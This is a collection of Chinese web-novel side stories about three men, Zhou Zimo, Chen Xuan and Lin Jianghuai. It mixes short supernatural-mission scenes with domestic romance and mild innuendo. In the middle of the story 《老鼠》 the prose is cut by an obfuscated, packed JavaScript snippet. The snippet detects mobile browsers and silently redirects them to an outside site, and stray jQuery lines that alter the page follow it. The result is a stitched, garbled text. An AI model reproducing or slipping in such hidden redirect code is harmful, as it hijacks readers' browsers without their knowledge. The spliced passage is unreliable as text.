62.小段子第三弹[番外]
作品:《黑山夜话》 黑山小段子:《嘱托》
“老陈啊,我要不行了。”
周子末靠着岩壁,这个地方的墙比较薄,他能听见陈宣在外面说话。他们的人都到了,却不敢直接炸开这边,怕最后整个洞都塌了,反而把人埋在里面。
周子末有些失血过多,他脑袋晕乎乎的,手脚都开始发冷。这不是什么好的预兆,按照他的经验来看,最多一个小时,他就会开始慢慢丧失行动能力。
在这里,动不了和死了没什么两样。
“保持呼吸,”陈宣的声音从墙壁另一边传来,“你死不了。”
“但是我感觉要死了,”周子末粗喘了两口气,他现在觉得呼吸急促,反正浑身疼,不知道是不是肋骨也伤到了,“我准备托孤了。”
“你死不了。”
陈宣说。
“首先,帮我照顾好你老婆,”周子末靠在岩壁上说,“帮我和他说声我爱你。”
陈宣那边半天没声音,周子末喂了两声才听见动静。
“还是建议你不要说话,”陈宣说,“保持体力,我们这边快探到入口了。”
“其次,你要告诉你老婆,”周子末说,“虽然这辈子他没能做我老婆,但是下次一定。”
陈宣那边又安静了半天。
“我和突击三队老罗他们在一起,”陈宣说,“调整呼吸,按好你的伤口。”
”哈喽老罗,”周子末对着墙打了个招呼,“周六加班辛苦了。”
老罗那边没声音,感觉上是被他惊世骇俗的发言吓到了。
“最后,关于老婆的事,我还有一项要说,”周子末自言自语道,“明明最开始是我先来的,怎么就…”
“他出现幻觉了,”陈宣在另一边说,”你们先出去,加快速度。”
陈宣那边没声音了,周子末又敲岩壁。
“我老婆和你有什么关系,”陈宣突然说,“那是我老婆。”
周子末顿了一会,然后靠了一声。
“气得我刚刚飙了两股血,”周子末说,“老陈,你完全不关心我死活对吧,我都这样了你就应该口头上先把你老婆让给我,满足我最后的心愿。”
“我说了,你死不了,”陈宣说,”突击一队离你的位置很近了,注意辨认他们是否正常,不正常的话顺着荧光线走回来也行。”
“我都快死了你就不能让让我??”周子末喊,“你到底什么时候才能让让我?你这个人怎么一点人情味都没有??”
陈宣不出声了,感觉是不想听他叨咕,直接走了。
周子末叹气,脚步声越来越近,但是他一点也不担心接下来的情况。
无论惊险与否,陈宣说他死不了,他就是死不了,这让他的卖惨都一点成就感也没有了。
他捂着伤口,站起来,向着岩洞深处的人声走去。
黑山小段子:《冰岛》
和大部分人认知中的不一样,即便是晶莹剔透的冰塌陷后所形成的冰窟,一旦深到了某个程度,从顶上望下去,也会像一头冰雪巨兽张开的可怖巨口,阳光照不到的地方,尽是幽深至极,如同深海一般的黑蓝色。
周子末在地上摸了一块冰块,从恶魔之口扔下去,半天都没听到回音。
“深度超过700米,”陈宣说,他们两个都穿得很厚,风很大,他的声音有些模糊不清,“冰壁里有东西在活动,具体的看不清楚。”
“这个洞塌陷的时间太凑巧了,”周子末说,“我们要的东西没准就在里面,给我个冰镐,我下去看看。”
陈宣用对讲机说了一句什么,过了一会,一个科考队里的女性就提着一个背包从营地那边走了过来。
安娜是丹麦人,相当高大,她把背包甩在冰面上,“你们要下去吗?”她用英语问,“今天的天气不怎么好,你确定?”
周子末在蹲下来,在包里翻了一会,拿出了冰镐和一卷安全绳,“这里就没有几天天气好的,”他说,“早上越来越短了,要尽早下去看看。”
“我知道你们的目的和我们不一样,”安娜看上去仍然很不赞同,“我不能阻止你们,但是我觉得把性命浪费在这样的事情上面不太值得。”
“噢亲爱的,”周子末咧开嘴一笑,“你可以等我死了再说这种话。”
安娜还没来得及再说什么,周子末拿着那两件东西突然就冲向了那个冰窟,在安娜的惊叫声中,他喊了一句什么,直接跳了下去。
“我的天哪!我的天!”安娜喊道,“他根本没把安全绳拴在外面!他直接就跳下去了!!”
“他有自己的打算,”陈宣说,“我们先回去吧。”
两个人在风雪中沉默着走了几十米,“他刚刚喊的那句是什么意思?”安娜突然问。
“拉丁语,‘自由万岁’,”陈宣说,“年轻人总是想要彰显一下自己的个性。”
“好吧,我很好奇,不过你觉得冒犯的话也可以不用回答,”安娜说,“你大概多大了?我以为你大概三十岁左右,但是有的时候你看起来比你的脸老成太多了。”
“我只是长得比较年轻而已。”
陈宣说。
他们走回营地,在雪地上留下了一串脚印。
这是在遇到林江淮之前发生的故事。
黑山小段子:《缺点》
“老陈,”我说,“你觉得我有什么缺点吗。”
老陈最近总是被我突然袭击,感觉他这辈子都没有回答过这么多无厘头的问题。他看着我,像是真的在思考一样,簇了簇眉头。
“你…”
他说,又不说完。
“这还用想,你就直说,”我说,“我们都直接点。”
“有挺多的,”老陈犹豫着说,“你真的要听吗。”
我他妈的真服了,“周子末!”我大喊一声,“你觉得我有什么缺点吗!”
周子末在厨房,第一遍没听见,啊?了一声,我又重复了一遍。
“你能有什么缺点?”周子末说,“你的缺点就是太可爱了,过来给我亲一口。”
“滚。”我和他说,然后又转过来面对老陈,“你有什么想法吗。”
老陈被这里的套路惊到了,“……什么?”他说。
聪明人也会时不时大脑短路的,我善意提醒,“你觉得我有什么缺点吗。”
“没有。”
他反应过来了,给了个正确答案。
“这还差不多。”我搂着他亲了他脸颊一口,“你怎么一点情趣都没有,老陈,这还要我教?”
老陈叹了口气,一副跟不上你们年轻人进度的样子,我觉得很好笑,又亲了他一口。
黑山小段子:《优点》
林江淮在家里大多数的时候是不忙的,他跟个领导一样,到处去巡其他人在做什么。
今天陈宣不在家,林江淮就三番两次去骚扰周子末。周子末在煮土豆番茄炖牛腩,还在调味,林江淮就过来又吃土豆又喝汤,都快吃了个半饱了。
有的时候周子末也真的觉得自己招架不住林江淮的高需求,林江淮很粘人,不知道是不是因为他们的纵容以及工作的特殊性。不过他对于这个结果还是喜闻乐见的,他感觉陈宣也是。
林江淮在外面自己玩了一会又溜达进来了,他不喜欢独处,因为他的体质问题,独处常常会和受惊吓划等号,他还是喜欢和人呆在一起,特别是他们两个。
“煮好了没有,”林江淮拿着手机,眼神都没从屏幕上离开,“怎么这么久啊。”
“小火慢炖,”周子末拿勺子搅了搅,又拿根筷子点了一下汤尝了尝,“炖烂了才好吃。”
林江淮看他一眼,又看他一眼,把手机放下了,莫名其妙地露出了一个生气的表情。
“妈的,你怎么穿围裙都这么帅??”他很凶地说,“你讲不讲道理啊?做个饭还像拍杂志一样?你给谁看呢。”
“给你看呢,”周子末觉得好笑,熟悉了之后他发现林江淮就是猫一样的脾气,喜怒哀乐随时切换,“怎么样,老公帅吗。”
“说了你帅了!”林江淮嘀嘀咕咕地说,“真是不给人活路,你让别人怎么跟你竞争?真的是一点团结友爱的精神都没有…”
周子末把勺子放下,一下子把林江淮从背后抱起来,放在厨房放东西的桌子上。林江淮也不知道是生气还是不生气,反正周子末亲上去的时候他很乖地张开嘴,手也环到了他脖子后。
周子末心想不好,这人手段太强了,简直跟用毒高手一样,呼吸之间都能把人迷晕。他和林江淮亲了几口,完全是凭意志力把人放下,去继续煮牛腩。
林江淮被亲呆了,他愣愣地坐在桌子上,耳朵都是红的。
“不继续了吗?”
他问,仿佛真的只是想知道要不要继续一样。
周子末暗骂一声,把火关了,把人扛走了。
黑山小段子:《关系》
“我行吗?”
那个姓刘的突然给我来了这么一句,没有前因后果,我手里拿着罐头,只觉得莫名其妙,根本不知道他在说什么。
他看到了我的眼神,笑了一下,是那种很古怪的笑,那么一瞬间我还以为他被什么附身了。
“你说什么?”我说,“我没听清。”
“我行吗,”他又重复了一次,“其实我也挺厉害的。”
什么鬼,“啊…”我啊了一下,也不知道该说什么好,“挺行的?”
他笑了,像是胸有成竹一样,让我怀疑自己刚才是不是答应了他什么不该答应的东西。“晚点去找你。”他说,拍了一下我肩膀就走了。
找我干嘛,啊?我拿着罐头,疑惑几乎从我的脑海里溢出来,这人想干嘛啊?被附身了?
那天晚上我还是和周子末一起睡帐篷,我和他说了这件事,怕那个人半夜来搞什么事情。周子末很不以为然的样子,说我在这呢,他能翻出什么浪来?
反正也确实如此,周子末这么大个人还不能保护我的安全,那这个男人就没用了,要休掉。
我那晚照常睡了,第二天早上姓刘的脸上好大一块淤青,我看他,他就躲着我走,不知道为啥。我问周子末,周子末说他可能是被不干净的东西影响了,自己摔的。
我不信,“不会是你打的吧,”我说,“他真被附身了?人皮子讨封呢?”
“我打他干嘛,”周子末说,“你别误会我,我很大度的。”
这些人说的都是什么意思啊,听不懂。不过我也不大在乎了,反正姓刘的在整个任务期间,再也没和我说过一句话,不知道哪得罪他了。
黑山小段子:《掩饰》
(有正文未出现角色)
“其实我们都知道了,”尹清雅说,“有的时候看你装我真的觉得很累。”
“你们知道什么,”我一下子警惕了起来,“你别瞎猜。”
尹清雅叹了口气,“不是瞎子都能看得出来,林江淮,我们本来就比普通人敏锐,装傻完全是顾及着老陈的面子你懂吗。”
我不说话了,我有种不好的预感。
“你说吧,你和老陈谈多久了,”她说,“看你们装不认识又眼神拉丝真的很痛苦你知道吗。”
“我没谈,”我马上说,“我和他才认识,就这次才认识的。”
“我们都是过命的交情了,你跟我装就没意思了,”尹清雅说,“谈了两年了?”
我靠,这是女人的直觉吗,怎么这么准。
尹清雅估计是看到了我的表情,她脸上写着“原来如此”四个大字。“我理解你,”她说,“你不想让他们觉得你是走后门进的,但是你别天天看他啊,你这样瞒得过谁。”
“我没有,”我仰头望天,“你完全误会了。”
尹清雅不想理我了,她把包背上,准备走了。
我踟蹰半天,最后还是哎地叫了她一声。
“那个,你别和别人乱说啊,”我说,“万一到时候传流言老陈不高兴。”
“你都没谈我说什么,”她说,“不是没谈吗?”
“没谈,”我说,“我跟他都不熟。”
尹清雅嗤笑了一声,对我摆摆手表示知道了,走了。
真的这么明显吗,我想,我也没经常看他啊?
黑山小段子:《起夜》
我迷迷糊糊地关掉洗手间的灯,准备回去继续睡。
在模糊的月光下,我看见一个影子,站在拉着的窗帘后面。
在我这里只能看见大致的轮廓,窗帘被微风吹动,它的影子一动不动,似乎是站在窗外,正在向里窥视。
我们这里是18楼。
我的睡意一下子就被吓得消散了一半,但同时,我内心升起了一阵不屑。
笑死,你不知道这是谁家吗,还敢过来。
因为今天他们俩都在家,这给了我很大的底气。我今晚是和周子末一起睡的,这个卧室还挺大的,窗户就在床的侧面,大概隔了一米半左右的距离。
我小声喊了两句周子末,周子末睡得跟死猪一样,一点声响都没有。
服了,这人一到要他干活的时候就没有屁用。
我稍微提高声音,喊了一声周子末。周子末还是没有反应,那个影子却动了,隐隐约约的,向我这个方向转了过来。
我突然间就有点生气,他妈的,周子末就那躺着呢,你都不敢扑他,为什么就盯着我?柿子就挑软的捏?这不是欺负人呢吗?
我折返几步,抄过洗手间清洁间里的扫把。男人使人壮胆,我准备和那个东西硬刚。
我小心翼翼地拿着扫把走过去,都走到了床脚了,看过去发现周子末还在睡,还睡得很美,梦里都他妈的带着笑的。
我顿了一下,把扫把反过来,棍子的那头朝前。
我对着周子末就劈头盖脸一顿打,周子末还懵着,第二下就抓住了扫把杆,看见是我在打人又松手了,被我抽得满床乱爬。
“你干嘛啊??”他一边躲一边喊,“你发什么疯??”
“睡睡睡你就知道睡!”我骂他,“叫你你都听不见?要你干嘛用!”
那天我们闹了十几分钟,把老陈吵醒了过来拉架。我骂周子末说他靠不住,他一头雾水,听了前因后果后更是迷茫不已。
“你不去打鬼你打我干嘛,”他说,“你不是现在胆子挺大的吗,直接上去干不就行了?”
“我只打老公不打小三,”我说,“我他妈的和你睡不打你打谁?”
周子末脸上一个大大的问号,老陈揉太阳穴,一副头疼的样子。
后来我们一起去看了窗户后面,什么都没有,不知道是不是我的幻觉。
但是我还在生气,我其实也不知道我在气什么。老陈第二天要出差,回去睡了。周子末抱着我说好了好了,以为我是吓成这样的。
我也困了,抓着他睡着了。
睡之前在他肩膀上咬了一口,以示我老公靠不住的愤怒。
黑山小段子:《老鼠》
我睡到半夜,隐约听见有一阵咯吱咯吱的细碎响声。
是老鼠,我印象里之前听过这样的声音,之前家里有个吊顶,吊顶里面进了老鼠,有时候就会发出这样的响声。
我努力想要睁开眼睛,试了一下,睁不开。
“老陈,”我用手臂推了推旁边的老陈,“老鼠。”
过了一会,老陈那边“嗯?”了一声。
“老鼠。”
我很含糊地说,老陈不知道听清楚了没有,没有回应。我没有得到他的回答总是不够安心,就又嘀咕了一句“老鼠,你弄一下。”
“嗯,知道了。”
这次他给了我一个肯定的回答,我几乎是一秒就睡死下去了,后面发生了什么都不知道。
第二天早上我已经差不多把这件事忘干净了。我照旧是站老陈附近,我隐约感觉到队伍里有人在看我,我看过去的时候他们又转开视线,假装无事发生。
我觉得怪怪的,在和他们分开的时候找老陈问了句。
“我怎么觉得我们站得近一点他们就一直看过来,”我说,“不会是…有人发现了吧?”
老陈在摆弄一个仪器,闻言看了过来。
“昨晚你说有老鼠,”他看着我说,“叫了我。”
我隐约有点印象,还以为是做梦。我们睡的是大通铺,可能有人听见我喊老陈了,但是我实在是没办法把这两件事联系在一起,“啊?”我说,“然后我还做了什么吗?”
老陈摇摇头,做他自己的事情去了,我想了半天也没想明白。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933587|192500||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
反正从那之后,就总有人传我和老陈之间有关系的话,但是我根本不知道这些话怎么会被传出来的,我真的以为我掩盖得挺好的了。
黑山小段子:《打赌》
不是我说,在经历了那么多事情之后,我觉得恐怖片基本上都已经吓不到我了。
从前看恐怖片觉得吓人,是因为恐怖片里的很多东西都是没见过的。现在我见到的东西比恐怖片中描绘的还要恐怖诡异十倍,阈值高了,自然人就胆子大了。
我和周子末聊起这件事,周子末的反应是非常不屑一顾的。从表情到肢体语言,他把不信这两个字写在了脸上,反而激发了我的逆反心理。
“打赌,”我说,“看恐怖片我一声都不会叫,我赢了你怎么样。”
“先说你叫了怎么样。”他说。
“我叫了我答应你一件事,什么事都行,但是不能太过分啊。”我说,“你呢,我赢了你怎么样。”
周子末似笑非笑地看了我一眼,“你赢了我给你O一次。”
我他妈的,这么狠的吗,我吓得差点从椅子上滑下来。
这件事我是从来没想过。首先我还是比较直的,要说在上面我不是很有信心。其次总觉得有点怪怪的,不知道是不是经常被他们O,养成了思维定势,想要转过来这个思想也不太容易。
周子末看我不说话,直接咬起衬衫下摆,抓着我的手就摸他胸肌上了。“怎么,”他含糊着说,“平时能O到这个款的吗?”
我不知道怎么的突然脸很烫,一下子就把手抽出去了,“滚滚滚,”我说,“你说的啊,你可别反悔。”
周子末对天发誓自己不会反悔,反而给我很大的心理压力。我开始想我赢了真的要O他吗?万一O不起来不是很丢人?而且,关于大小的这个问题,因为他们都有点过分了,如果到时候出现那种问“你进来了吗”的事情,我岂不是会很尴尬?
我惴惴不安一直持续到打赌开始的那天。那天晚上周子末把客厅的灯关了,拍拍他的隔壁,我犹豫着坐了下去。
“有信心赢吗,”他说,“我看你有点紧张啊。”
这是关乎于男人尊严的事,“当然了,”我嘴硬道,“我肯定会赢。”
他妈的周子末选的根本不是恐怖片是一个他们剪辑出来的纪录片式任务实录。我吓得魂飞天外尖叫声不绝于耳,眼泪都给我叫出来了,我抓着周子末的领子往他身上爬,差点把沙发给掀翻了。
片子看到一半周子末就把电视给暂停了,我也不想哭的但是那真的真的太吓人了。“你是不是输不起!!”我狂擦眼泪一边擦一边骂,“你输不起你就别打赌!你吓唬我干什么!!”
“你说要打赌的,”周子末揽着我,“好了好了,我就开个玩笑,你赢了我真敢给你O啊,谁输不起了。”
“我才不想O你!”我吼,“我不喜欢你这款的!”
周子末顿了一下,“是这样,”他说,“我以为在下面的都会想要反过来试试…反正你赢不了嘛,我还觉得这个建议挺诱人的。”
我拿抱枕抽他,骂他,说我永远都不会想O他们俩,这辈子都不会做1的。周子末哄了我半天,我逼着他说这次打赌不作数,所以我最后也没有答应他任何一件事,倒是没有输得太惨。
不过我可能真的养成了思维定势,已经不会想着去O人了,难道我真的不够直了?真是奇怪。
黑山小段子:《疑惑》
老陈在看书,我躺在他旁边的沙发上玩手机。突然之间,我想到了有件事情我应该问问他。
“老陈,”我叫他,“你觉得我直吗。”
老陈看过来,他经常这样,我问他点什么他就像宕机一样,半天才斟酌出回答来。
我不想等,“直的意思就是,我喜欢女的,弯的意思是,我喜欢男的,”我解释道,“你觉得我看上去直吗。”
老陈等了一会,好像是在等我说这是开玩笑逗他的。但是我不是在开玩笑,我是认真的。
“看不出来。”
他最后说。
我把手机放下,“我真的不懂,”我说,“我平时的表现怎么不直了?我看起来不就是一个很普通的大学生吗?怎么会大家都觉得我不直。”
“总是有一些细节在的。”
老陈说。
“我知道,”我说,“就是,有什么细节呢,不然下次我和你一起出去,又一眼被看出来我是和你一起的。”
“这样不好吗 ?”
老陈反问我,他这人什么时候学会反问了。
“也不是不好啊,”我解释道,“不是不好你懂吗,就是说,比如说,你想要我去卧底的时候,别人一眼看出来我们俩有不一般的关系,那不就前功尽弃了吗。”
老陈笑了一下,又翻了一页书。
“所以呢,”我追问,“你觉得我哪里看上去不直。”
“很多。”
“举个例子!”
老陈想了一下,“林,你是不是很少和别的男性相处过?”他说,“你可以和别人对比一下,你对我们,确实非常不同。你总是向我们…撒娇。”
“我不信,”我说,“我才没有撒娇,我就在很正常的讲话,是你们误会了。”
老陈的表情带着一点点无奈,我过去,把他手里的书抽走,坐在他面前的桌子上。
“你要说清楚怎么叫撒娇了,”我说,“我哪里有撒娇。“
老陈没有说话,他抱着我的腰,让我坐在了他的腿上。我突然很想亲,就去亲他,我们两个就这样亲了一会。
分开的时候老陈意味深长地看着我,仿佛我就应该从中得到什么答案一样。
很可惜我并没有,只是觉得他身上味道好像更好闻了,不知道是不是换了款香水什么的,下次要问他拿来喷喷玩。
黑山小段子:《气味》
我其实有自己的房间,虽然说我经常和他们一起住,但是我觉得个人空间还是必要的,所以我的沐浴露啊洗发水什么的很多时候都用自己的,也免得他们俩房间各放一套的麻烦。所以一般情况下,我和他们用的都不是一个牌子的东西。
早上老陈不在,周子末做了早餐。我打着哈欠吃早餐,吃完去放碗,周子末就在背后对我上下其手,一点不把自己当外人。
我不理他,把碗放在水池里,他突然很用力地在我的肩膀上嗅了两下,面露惊恐之色。
“干嘛,”我说,“神经啊。”
“你怎么闻起来和老陈一模一样??”他说,“啊??”
我把碗放下,闻了闻自己。确实衣服上有点淡淡的味道,因为我拿了老陈的香水自己乱喷了一下,我还挺喜欢这个味道的。
“香水啊,”我说,“也没有很大味道吧。”
周子末露出了一种很纠结的表情,最后还是伸手接了我的碗,“你要不换个衣服,”他说,“我天,刚才那一下感觉我抱着老陈,太吓人了也。”
我莫名其妙,回去房间里换了件衣服,闻了半都没觉得原来那件上的香水味很浓,只能归结于周子末是狗鼻子,这点味道都那么敏感。
我出去之后周子末又黏上来了,这次他在我颈侧深吸一口气,还啵唧地用力亲了一口,显然是满意了。
我本来以为只有周子末是这样的。
过了几天,我和老陈呆在一起,我们俩在客厅,我躺在他的腿上,他不知道为什么,总是在看文件的间隙里不停地向下看我。
“不舒服?”我动了一下,“那我不躺了。”
“没事,”老陈把我按回去,“……你今天是用了周的洗发水吗。”
周子末的洗发水是那种很骚包的留香型的,倒是味道很清爽,我其实也隐约闻到了。
“是,”我说,“你不喜欢这个味道?”
老陈看上去欲言又止,过了一会才说“下次,还是不要用他的会比较好。”
“你吃醋了吗,”我说,“不会吧。”
“不是,”老陈无奈道,“会让我觉得…在我身边的是他不是你。”
我沉默了,想起了之前的那件事,感觉这两个人都有点奇奇怪怪的。
就是味道而已,至于吗。
end
有种A闻不得别的A的味道的感觉

